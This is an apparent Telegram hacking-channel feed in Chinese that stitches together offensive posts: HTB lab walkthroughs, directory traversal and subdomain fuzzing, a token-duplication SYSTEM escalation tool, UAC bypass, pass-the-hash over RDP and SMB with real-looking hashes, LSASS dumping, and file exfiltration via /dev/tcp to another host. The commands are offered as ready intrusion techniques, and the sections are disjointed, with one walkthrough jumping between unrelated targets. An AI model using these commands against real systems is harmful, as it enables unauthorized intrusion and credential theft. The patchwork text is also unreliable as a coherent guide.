黑客网站渗透入侵破解拿权限
11.3K subscribers
2.4K photos
109 links
Download Telegram
Linux渗透HTB-Heal
详细端口扫描:nmap -sTVC -O -p22,80 10.10.11.46
.................
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
端口利用,一个登录界面,有注册功能,注册一下看看
一个简历生成器,可以尝试着生成一个简历,同时使用bp进行抓包,在放包的过程中我们发现了filename参数,利用目录遍历来读取敏感文件,利用成功,并且知道了两个用户ron和ralph,可以利用这个去读网站的配置文件,用套路进行信息收集:目录爆破&子域名爆破.
目录爆破:gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
找到survey路由,点击参与调查发现一个子域名
在index.php发现一个用户名ralph
再次进行目录爆破,在这里使用rust编写的feroxbuster来进行目录爆破,因为在爆破的过程中看到了很多503,为了便于直观看结果,使用-C参数过滤一下503:
feroxbuster --url http://take-survey.heal.htb/index.php/ -C 503
找到一个登录界面,目前只有两个用户名,和破解的密码
通过上面的流程我可以将所有收集到的渗透测试edu资产储存到我的字典中,供下次的爆破使用,因为这次没有找到账号密码,所以这一次并不是很顺利,经历了2-3天终于让我在一个api测试的时候发现了敏感信息泄露
一般那种302直接转到统一身份认证的资产我都是会直接跳过的,但是实在是没有思路了,于是扫描了一下302的资产的目录
然后我是用如下命令扫描目录
./feroxbuster --scan-limit 2 -t 10 --filter-status 404 -x jsp -A -u https://you-url -k --proxy

发现了几个可疑的目录,将他们提取出来,然后使用katana爬取所有的链接到指定文件中

./katana -list urls.txt -o allurls.txt -proxy socks5://ip:10808

网站的指纹能够识别的的话,比如说我的这个资产是xx平台,根据这个信息去zoomeye寻找相似的网站,寻找不用统一身份认证的,然后将路由添加到urls.txt文件中

扫描出来的结果全部储存在allurls.txt文件中,我们需要将所有的js文件的路由提取到js-urls.txt

然后使用SecretFinder扫描js文件,并且将结果放到result.txt文件中

可以自行修改正则匹配,修改SecretFinder.py文件即可
Sharp4Byass2SYSTEM:一款通过令牌复制将进程提升至SYSTEM权限的工具

在内网渗透环境中,获得 SYSTEM 权限是攻击链中的关键一环。通过分析 Windows 系统中对高权限进程的访问机制,发现利用 SYSTEM 账户运行的关键进程,如 winlogon 的访问令牌,可以伪装为操作系统内核,启动具有最高权限的进程。

识别当前进程的所有者权限
Sharp4Byass2SYSTEM.exe 工具内部调用 WMI 的 GetOwner 方法获取进程所有者的用户名和所在的域,然后通过判断进程所有者的用户名是否包含了关键词 "NT",比如返回 "NT AUTHORITY\SYSTEM",包含了NT就表示该进程是系统用户创建的,因此也具备了SYSTEM权限.

通过 Process.GetCurrentProcess().Id 获取当前运行的进程的PID,接着,调用 上述的 GetProcessOwner 方法,通过传递当前进程的 ID,获取进程的所有者信息。
随后,通过调用 WMI 的 Win32_Process 类查询获取进程的各种信息,例如 PID、名称、启动时间等,这里最核心的代码是获取进程所有者
将当前进程提升至SYSTEM
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.

这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.

接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示

doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程

创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
网站未授权访问
授权的概念:就是对特定资源的读写权限。简单的说,就是你的权限能让你做什么事情,而验证则表示是否真的可以对这些资源进行读写

未授权访问的概念:就是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或者文本信息

越权漏洞的产生:主要是用于开发人员在对数据进行操作时对客户端请求的数据过分相信而遗漏了权限的判断

越权漏洞常发生的位置:修改、重置、找回账户密码、查看、修改其他账户未公开的信息例如个人资料、文件、数据、程序等等,还有与账户关联的一些权限操作
证书站的渗透
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
kali权限凭证获取启动一个http服务,修改一下index.html,然后重新检查,获得容器的root。
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
权限提升
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
UAC 绕过——Windows 权限提升

在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码

对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234

目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
通过 RDP 进行传递哈希攻击

自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
在 Windows 10 主机上执行此攻击

执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限

对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp

使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege

默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式

一旦输入密码,权限即启用
转储 LSASS 进程:任务管理器(GUI)
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。

确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。

由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。

要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。

接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
转储 LSASS 进程 – 远程(无 GUI)
要远程执行此攻击,我们需要满足以下列出的三个标准中的至少一个:
1. 内置本地管理员帐户的哈希值或密码(“不能”是添加到本地管理员组的本地用户)
2. 域管理员账户的哈希值或密码
3.本地系统账户(计算机账户)的哈希值

绕过 UAC 以转储 LSASS
我们以用户cmarko 的身份在目标上拥有反向 shell ,并且我们刚刚执行了 Print Nightmare (CVE-2021-1675) 来创建一个名为“pwnt”的本​​地管理员帐户

创建本地管理员用户后,可以像以前一样跳转到 RDP 会话,或者我们可以尝试立即使用这些凭据执行 RCE(远程命令执行)

使用CrackMapExec检查,这次它显示“Pwn3d!”,表明我们已经实现 RCE 并成功绕过 UAC